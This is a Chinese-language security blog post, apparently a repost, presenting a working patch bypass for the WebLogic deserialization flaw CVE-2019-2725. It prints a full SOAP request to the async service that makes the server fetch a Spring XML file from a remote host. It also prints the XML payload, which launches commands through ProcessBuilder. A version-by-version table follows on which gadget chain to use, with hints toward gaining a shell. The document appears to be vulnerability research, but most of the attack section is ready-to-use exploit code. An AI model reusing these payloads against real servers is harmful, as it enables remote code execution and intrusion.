关注我们

CVE-2019-2725/CNVD-C-2019-48814第三弹——通杀

楠枫楠枫 安全文摘 2019-06-07 684227 0

前言

第二弹的补丁(CVE-2019-2725/CNVD-C-2019-48814第二弹——JNDI)绕过复现使用了JtaTransactionManager类配合JNDI完成二阶RCE,但该应用场景有限。需要受害者允许访问公网RMI,根据pyn3rd师傅的提示,JDK要求不一定需要< 1.8,只需要JDK版本支持RMI协议访问即可。但该方法只适用于<= 10.3.6的Weblogic版本,具体原因不再赘述。

绕过环境

1.Win10\CentOS
2.Weblogic 10.3.6 with Patch p27395085_1036_Generic
3.JDK 1.8(8u12)

限制条件

受害者机器未设置相应端口的出站规则
我这里设置了8080端口不能出站,于是得到了这样的报错

CVE-2019-2725/CNVD-C-2019-48814第三弹——通杀

出站报错

绕过原理

根据廖新喜的分析文章可以得出无视jdk版本限制的利用类为com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

CVE-2019-2725/CNVD-C-2019-48814第三弹——通杀

廖新喜

其实不止FileSystemXmlApplicationContext,还有一个ClassPathXmlApplicationContext。我们可以查看jar包中两个class的方法进行比较,不难看出,这两个类可以使用同样的利用链。

CVE-2019-2725/CNVD-C-2019-48814第三弹——通杀

FileSystemXmlApplicationContext

CVE-2019-2725/CNVD-C-2019-48814第三弹——通杀

ClassPathXmlApplicationContext

根据知道创宇404实验室的文章,可以得出上述两个class的利用方式和Jackson反序列化基本上相似。只不过Jackson反序列化利用的jar包为第三方spring jar包,而CVE-2019-2725使用的是weblogic自带jar包。庆幸的是这个jar包,同时存在于10.3.6和12.1.3两个版本,所以可以完成通杀。

CVE-2019-2725/CNVD-C-2019-48814第三弹——通杀

404漏洞之旅

CVE-2019-2725/CNVD-C-2019-48814第三弹——通杀

Jackson反序列化

大致情况,差不多已经清晰,那只需要构造一下利用报文和利用XML即可

EXP构造

1.利用报文构造

原本的JNDI二阶注入的报文如下

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: **
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 37390

<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void>
<string>ip:port/xml</string>
</void></class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

当然你可以使用ClassPathXmlApplicationContext

2.利用XML构造

还差一个利用xml构造,仿造一下Jackson反序列化公开的XML

<beansxmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<beanid="pb"class="java.lang.ProcessBuilder">
<constructor-argvalue="/Applications/Calculator.app/Contents/MacOS/Calculator"/>
<propertyname="whatever"value="#{ pb.start() }"/>
</bean>
</beans>

我同样按照此格式进行构造,发现报错。但不难看出,大致的核心命令应该是要使用java.lang.ProcessBuilder,我尝试在constructor使用array进行构造。因为10271的利用也使用了一个array。


<voidindex="0">
<string>cmd</string>
</void>
<voidindex="1">
<string>/c</string>
</void>
<voidindex="2">
<string>calc</string>
</void>


结合其他分析文章中提示的表达式和构造器说明并经过多次构造测试,得出以下xml

<?xml version="1.0"encoding="utf-8"?>

<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

  <bean id="pb"class="java.lang.ProcessBuilder"init-method="start">

    <constructor-arg>

      <list>

        <value>cmd</value>

        <value>/c</value>

        <value><![CDATA[calc]]></value>

      </list>

    </constructor-arg>

  </bean>

</beans>

最终我在我本机成功弹出了计算器

CVE-2019-2725/CNVD-C-2019-48814第三弹——通杀

calc

而在Linux下使用相应的xml配合nautilus成功弹出了文件管理器

CVE-2019-2725/CNVD-C-2019-48814第三弹——通杀

nautilus

3.深度利用

那么既然计算器和文件管理器都能够弹出了,只要熟读了烟雾弹、第一弹、第二弹的读者,深度利用的方式,懂的人自然懂。由于该漏洞的重大危害性,我不做特别明显的说明。

总结

本次CVE-2019-2725的漏洞之旅,我们不难看出没有完全完美的EXP,较为完美的是com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar提供的利用链。

所以得到如下总结

1.机器为weblogic10.3.6,可以连外网

  • 使用JNDI配合RMI

2.机器为weblogic10.3.6,可以连外网未设置相应端口的出站规则

  • 使用ClassPathXmlApplicationContext、FileSystemXmlApplicationContext

  • 使用JNDI配合RMI

3.机器为weblogic10.3.6,不能连外网

  • 使用JDK7U21 gadget

4.机器为weblogic12.1.3,可以连外网未设置相应端口的出站规则

  • 使用ClassPathXmlApplicationContext、FileSystemXmlApplicationContext

5.机器为weblogic12.1.3,可以连外网

  • 使用ClassPathXmlApplicationContext、FileSystemXmlApplicationContext

  • 使用RMI

此处记得将oracle.toplink.internal.sessions.UnitOfWorkChangeSet更换为com.sun.rowset.JdbcRowSetImpl。具体细节请自行研究

6.机器为weblogic12.1.3,不能连外网

  • 使用org.slf4j.ext.EventData(待我有空研究并放出)

感触

经过将近一个月,10个晚上熬夜的漏洞之旅,总算是可以收尾了。说明学好Java还是一件很重要的事情。做网络安全千万不局限于使用别人的一键化工具getshell,得清楚漏洞原理而进行随机应变

鸣谢

阿里巴巴pyn3rd

参考

1.Weblogic CVE-2019-2725 分析报告:
https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483722&idx=1&sn=46ae6dc8d24efd3abc5d43e7caec412a&chksm=fb4a21a2cc3da8b43a52bd08c8170723fb38ddab27c836dad67c053551dde68151839e330ce2&scene=0&xtrack=1#rd

2.WebLogic RCE(CVE-2019-2725)漏洞之旅:
https://paper.seebug.org/909/

文由微信公众号:国舜股份

版权声明

本文仅代表作者观点,不代表黑白网立场。
如文章侵犯了您的权利,请通过邮箱联系我们删除。
详情查看:版权纠纷
E-Mail:server@heibai.org

喜欢0发布评论

评论列表

发表评论

  • 昵称(必填)
  • 邮箱
  • 网址